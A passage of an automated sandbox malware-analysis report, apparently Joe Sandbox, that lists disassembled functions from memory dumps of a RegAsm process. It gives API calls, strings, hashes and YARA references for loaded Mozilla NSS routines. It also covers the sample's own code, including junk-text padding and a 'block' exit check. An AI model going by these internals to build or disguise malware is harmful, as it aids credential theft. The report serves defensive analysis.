PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4DB7

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

TlsGetValue.KERNEL32 ref: 6CEB4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CEB4DEC
PR_Unlock.NSS3(?), ref: 6CEB4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CEB4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CEB4E71
free.MOZGLUE(00000000), ref: 6CEB4E7A
PR_Unlock.NSS3(?), ref: 6CEB4EA2
TlsGetValue.KERNEL32 ref: 6CEB4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CEB4ED6
PR_Unlock.NSS3(?), ref: 6CEB4F01
free.MOZGLUE(00000000), ref: 6CEB4F2A

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: efd2691a4c0740f70c56f5373c586e8d2e5a1f851b0ff8400e8db549186f10f8
Instruction ID: 3895742c99a51bb75cb1fe4a2efa0b0775d4de95d2b3581fcdc77cdaff05c7d7
Opcode Fuzzy Hash: efd2691a4c0740f70c56f5373c586e8d2e5a1f851b0ff8400e8db549186f10f8
Instruction Fuzzy Hash: 15B10275E002059FEB41EF68D944BAA77B4BF0631CF24412AED05ABB01E734EA65CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF06E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CF06BF7), ref: 6CF06EB6

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CFAFC0A,6CF06BF7), ref: 6CF06ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF06EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CF06EFC
PR_NewLock.NSS3 ref: 6CF06F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF06F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CF06BF7), ref: 6CF06F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CF06BF7), ref: 6CF06F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CF06BF7), ref: 6CF06FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CF06BF7), ref: 6CF06FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CF06FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CF06FF8
SSLKEYLOGFILE, xrefs: 6CF06EB1
SSLFORCELOCKS, xrefs: 6CF06F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CF06F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CF06EF7

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: ef8c6e2e91eef0fb32aa4a97e51d112f5b419316b3a32433bbf39d7d4d9e1138
Instruction ID: 3f8b280e6e3f01210b3d6d131be40a478fafb2339efd05186cc36ca93377c8a5
Opcode Fuzzy Hash: ef8c6e2e91eef0fb32aa4a97e51d112f5b419316b3a32433bbf39d7d4d9e1138
Instruction Fuzzy Hash: 21A1F7B3F6599187F7504A3CCC2134533B2AB9372AF6843ABE831C7ED4DB75A4809641

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CEA6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6DC3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEA6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEA6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CEA6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CEA6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CEA6EB9

Strings

pDigest = 0x%p, xrefs: 6CEA6E27
ulDataLen = %d, xrefs: 6CEA6E0E
pulDigestLen = 0x%p, xrefs: 6CEA6E42
C_Digest, xrefs: 6CEA6D81
hSession = 0x%x, xrefs: 6CEA6D9E, 6CEA6DAE
*pulDigestLen = 0x%x, xrefs: 6CEA6EB4
pData = 0x%p, xrefs: 6CEA6DF5
(CK_INVALID_HANDLE), xrefs: 6CEA6DBC

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: e6980257783408d3020117c3085cec77bdaeb30469ad5e6b75887f155d0134df
Instruction ID: 3c86c798064f1f10a951a5734fc8fbb1ac43977a0312842893c794bdd1392737
Opcode Fuzzy Hash: e6980257783408d3020117c3085cec77bdaeb30469ad5e6b75887f155d0134df
Instruction Fuzzy Hash: 1141F735A12014EFDB009FA8DD4DF8A7BB5AB4770CF558058E8089BB11DB32AD09CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE7 Relevance: 27.1, APIs: 9, Strings: 9, Instructions: 58stringmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,004022F0,00420378,X004APTAGDL20N9,0000000F,?,00415672), ref: 00401FF7
strlen.MSVCRT ref: 00402016
strlen.MSVCRT ref: 00402022
strlen.MSVCRT ref: 0040204D
strlen.MSVCRT ref: 00402057
strlen.MSVCRT ref: 0040206A
strlen.MSVCRT ref: 00402076
strlen.MSVCRT ref: 00402082
strlen.MSVCRT ref: 0040208E

Strings

In baseball statistics, a putout (denoted by PO or fly out when appropriate) is given to a defensive player who records an out by tagging a runner , xrefs: 0040201B
Red Hill was so named due to the rich, red soil colour found in this locality. The area now known as Red Hill contains land in three parishes: Kangerong, Wannaeue (only 626 acres) and Balnarring. , xrefs: 00402065
Branxholme township was formally surveyed in 1852, and the name Branxholme was chosen, in reference to Branxholme, a hamlet in the Scottish Borders region of Scotland., xrefs: 00402087
Ureparapara island is an old volcanic cone that has been breached by the sea on its east coast. The resulting bay is known as Divers' Bay, , xrefs: 00402040
At Rockefeller University, his lab has made significant contributions in the field of chronobiology by identifying key genes associated with regulation of the internal clock responsible for circadian rhythms., xrefs: 00402052
The church is constructed in sandstone, with slate roofs. Its architectural style is Early English. The plan consists of a three-bay nave, a north aisle, a two-bay chancel at a lower level, and a north vestry., xrefs: 0040206F
The very first team to play for Warilla was an under-9's side in the Illawarra competition in 1964. On the back of this, in 1965, Warilla successfully split from Shellharbour-Lake Illawarra t, xrefs: 00402011
Though he did not watch professional baseball growing up, Nichols started playing Little League Baseball at age 11 and drew interest from the Red Sox and the Los Angeles Dodgers , xrefs: 0040207B
rVA, xrefs: 00402027

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strlen$AllocLocal
String ID: At Rockefeller University, his lab has made significant contributions in the field of chronobiology by identifying key genes associated with regulation of the internal clock responsible for circadian rhythms.$Branxholme township was formally surveyed in 1852, and the name Branxholme was chosen, in reference to Branxholme, a hamlet in the Scottish Borders region of Scotland.$In baseball statistics, a putout (denoted by PO or fly out when appropriate) is given to a defensive player who records an out by tagging a runner $Red Hill was so named due to the rich, red soil colour found in this locality. The area now known as Red Hill contains land in three parishes: Kangerong, Wannaeue (only 626 acres) and Balnarring. $The church is constructed in sandstone, with slate roofs. Its architectural style is Early English. The plan consists of a three-bay nave, a north aisle, a two-bay chancel at a lower level, and a north vestry.$The very first team to play for Warilla was an under-9's side in the Illawarra competition in 1964. On the back of this, in 1965, Warilla successfully split from Shellharbour-Lake Illawarra t$Though he did not watch professional baseball growing up, Nichols started playing Little League Baseball at age 11 and drew interest from the Red Sox and the Los Angeles Dodgers $Ureparapara island is an old volcanic cone that has been breached by the sea on its east coast. The resulting bay is known as Divers' Bay, $rVA
API String ID: 710835760-1248104423
Opcode ID: cc6eb9740f645233585328aa17e648a5c0cb9c1ffb33e403094f83f82f6cab06
Instruction ID: c7d3ca81afb6ed3c856202eee8a65f98350dc28b7267f9fcd1ded7f698689642
Opcode Fuzzy Hash: cc6eb9740f645233585328aa17e648a5c0cb9c1ffb33e403094f83f82f6cab06
Instruction Fuzzy Hash: 5711E231705250ABCB10EFA999025ADB7E5AF44304F41455FF98857383D6BC9A88876D

Uniqueness

Uniqueness Score: -1.00%

Function 004108DF Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 131stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004108E4
StrCmpCA.SHLWAPI(00000000,block,00000000,?,?,004151B2), ref: 00410906
ExitProcess.KERNEL32 ref: 00410911
strtok_s.MSVCRT ref: 00410928

Strings

block, xrefs: 004108F1

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitH_prologProcessstrtok_s
String ID: block
API String ID: 3745986650-2199623458
Opcode ID: fa26a0c60e2b2ce3a8bf076196717460202203dc15db9d6f0ee6cffeb27541df
Instruction ID: 40cb6559a1aa8d1fa7b4678b3c0dcfc252d502690d54aa60876154d2a9408aa8
Opcode Fuzzy Hash: fa26a0c60e2b2ce3a8bf076196717460202203dc15db9d6f0ee6cffeb27541df
Instruction Fuzzy Hash: 3B416071B80311ABCB10DF72ED45EAB37A8BE60784B20452BB807E2580E7B8D4819B5C

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CEA4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4EC7

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEA4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CEA4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CEA4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CEA4F68

Strings

ulCount = %d, xrefs: 6CEA4F63
hObject = 0x%x, xrefs: 6CEA4EF5, 6CEA4F05
hSession = 0x%x, xrefs: 6CEA4EA2, 6CEA4EB2
C_GetAttributeValue, xrefs: 6CEA4E7E
pTemplate = 0x%p, xrefs: 6CEA4F4A
(CK_INVALID_HANDLE), xrefs: 6CEA4EC0, 6CEA4F13

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: e56877853aa09c0a5f70c924cd2ab02b75c98ed30ec66b011cfa6a04de1ef365
Instruction ID: 0d0c7c54bd5e3f55631538dc9973ee1c95213e8a6c11dcea7af50b9a25df6f2b
Opcode Fuzzy Hash: e56877853aa09c0a5f70c924cd2ab02b75c98ed30ec66b011cfa6a04de1ef365
Instruction Fuzzy Hash: DF411834A12114BFDB009FA0DC49F9A77B5EB4630DF55A46AE8085FB11DB31AD0ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CEA4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4D37

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEA4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEA4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CEA4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CEA4E20

Strings

C_GetObjectSize, xrefs: 6CEA4CEE
hObject = 0x%x, xrefs: 6CEA4D65, 6CEA4D75
hSession = 0x%x, xrefs: 6CEA4D12, 6CEA4D22
(CK_INVALID_HANDLE), xrefs: 6CEA4D30, 6CEA4D83
pulSize = 0x%p, xrefs: 6CEA4DB7
*pulSize = 0x%x, xrefs: 6CEA4E1B

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 912aa8a459600799ee4fb0275a771e33c57f440c62d164087526907816338d32
Instruction ID: 48842701aa0e09aaf0add151338e89899ffbda3f5fc49634fe7b1bb10890b8b7
Opcode Fuzzy Hash: 912aa8a459600799ee4fb0275a771e33c57f440c62d164087526907816338d32
Instruction Fuzzy Hash: BC411771A11104BFDB409FA0DC88F5A77B5EB4630DF55846AE8086F711DB32AD0ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF3CC7B), ref: 6CF3CD7A

Part of subcall function 6CF3CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CEAC1A8,?), ref: 6CF3CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF3CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CD8E

Part of subcall function 6CE605C0: PR_EnterMonitor.NSS3 ref: 6CE605D1
Part of subcall function 6CE605C0: PR_ExitMonitor.NSS3 ref: 6CE605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF3CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF3CE48

Strings

getaddrinfo, xrefs: 6CF3CD88, 6CF3CDF9
freeaddrinfo, xrefs: 6CF3CD9F, 6CF3CE10
ws2_32.dll, xrefs: 6CF3CD75
getnameinfo, xrefs: 6CF3CDB2, 6CF3CE23
wship6.dll, xrefs: 6CF3CDE3

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 81745773098831d0fbdae58cc91d84ea566a28a4c18ba1bfbfccaee140c0a8bd
Instruction ID: d91a139d27be109b9198e9261a944ebfe80f389863e8d7ce75e77657f5b0567a
Opcode Fuzzy Hash: 81745773098831d0fbdae58cc91d84ea566a28a4c18ba1bfbfccaee140c0a8bd
Instruction Fuzzy Hash: EA11E9E5E6213162D74166BA2C00BDB39785B1211DF289A3DF81DD1F81FB23D94A82F6

Uniqueness

Uniqueness Score: -1.00%

Function 6CD69590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CD53217
Part of subcall function 6CD531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CD53236
Part of subcall function 6CD531C0: FreeLibrary.KERNEL32 ref: 6CD5324B
Part of subcall function 6CD531C0: __Init_thread_footer.LIBCMT ref: 6CD53260
Part of subcall function 6CD531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CD5327F
Part of subcall function 6CD531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD5328E
Part of subcall function 6CD531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CD532AB
Part of subcall function 6CD531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CD532D1
Part of subcall function 6CD531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CD532E5
Part of subcall function 6CD531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CD532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CD69675
__Init_thread_footer.LIBCMT ref: 6CD69697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CD696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CD69707
__Init_thread_footer.LIBCMT ref: 6CD6971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CD69773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CD697B7
FreeLibrary.KERNEL32 ref: 6CD697D0
FreeLibrary.KERNEL32 ref: 6CD697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CD69824

Strings

NtMapViewOfSection, xrefs: 6CD69701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CD69670
ntdll.dll, xrefs: 6CD696E3
MapViewOfFileNuma2, xrefs: 6CD697B1

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: ff2f42cd63accbee73b084bb1cd1470926236ced185e864ebdedc8049c5eda6a
Instruction ID: 7a8df07ce1556b7e72ff1688affc41c83d01998637eb16900cf0f94f3a2bf5d4
Opcode Fuzzy Hash: ff2f42cd63accbee73b084bb1cd1470926236ced185e864ebdedc8049c5eda6a
Instruction Fuzzy Hash: 7361B671A00305EBEF00EFA5D884BDA7BB9EB4A314F158519FA5597BA0D730F844CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEE0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEE0C81

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

